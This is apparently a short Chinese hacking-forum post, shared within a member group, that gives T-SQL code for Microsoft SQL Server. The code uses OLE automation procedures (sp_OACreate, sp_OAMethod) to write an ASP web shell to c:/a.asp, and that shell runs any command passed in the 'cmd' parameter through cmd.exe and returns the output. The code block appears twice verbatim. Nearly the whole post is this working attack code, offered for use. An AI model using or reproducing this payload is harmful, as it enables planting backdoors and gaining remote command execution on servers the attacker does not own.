参考文强的代码做了下优化。只在POWERS成员群发过。
declare @object int
declare @ProgID nvarchar(255)
declare @Param nvarchar(4000)
declare @reObject int
declare @ret int
--创建 OLE 对象
select @ProgID = 'scripting.filesystemobject';
exec sp_OACreate @ProgID, @object out;
--调用 OLE 对象
select @ProgID = 'createtextfile', @Param='c:/a.asp'
exec sp_OAMethod @object, @ProgID, @reObject out, @Param,1;
select @ProgID = 'writeline';
select @Param = '<%on error resume next
set oscript=server.createobject("wscript.shell")
set oscriptnet=server.createobject("wscript.network")
set ofilesys=server.createobject("scripting.filesystemobject")
szCMD=request("cmd")
if szCMD<>"" then
szTempfile="c:/"&ofilesys.gettempname()
call oscript.run("cmd.exe /c "& szCMD & " > "&sztempfile,0,true)
set ofile=ofilesys.opentextfile(sztempfile,1,flase,0)
response.write "<pre>"&server.htmlencode(ofile.readall)&"</pre>"
ofile.close
call ofilesys.deletefile(sztempfile,true)
end if%>';
exec @ret = sp_OAMethod @reObject, @ProgID, null , @Param;
declare @object int
declare @ProgID nvarchar(255)
declare @Param nvarchar(4000)
declare @reObject int
declare @ret int
--创建 OLE 对象
select @ProgID = 'scripting.filesystemobject';
exec sp_OACreate @ProgID, @object out;
--调用 OLE 对象
select @ProgID = 'createtextfile', @Param='c:/a.asp'
exec sp_OAMethod @object, @ProgID, @reObject out, @Param,1;
select @ProgID = 'writeline';
select @Param = '<%on error resume next
set oscript=server.createobject("wscript.shell")
set oscriptnet=server.createobject("wscript.network")
set ofilesys=server.createobject("scripting.filesystemobject")
szCMD=request("cmd")
if szCMD<>"" then
szTempfile="c:/"&ofilesys.gettempname()
call oscript.run("cmd.exe /c "& szCMD & " > "&sztempfile,0,true)
set ofile=ofilesys.opentextfile(sztempfile,1,flase,0)
response.write "<pre>"&server.htmlencode(ofile.readall)&"</pre>"
ofile.close
call ofilesys.deletefile(sztempfile,true)
end if%>';
exec @ret = sp_OAMethod @reObject, @ProgID, null , @Param;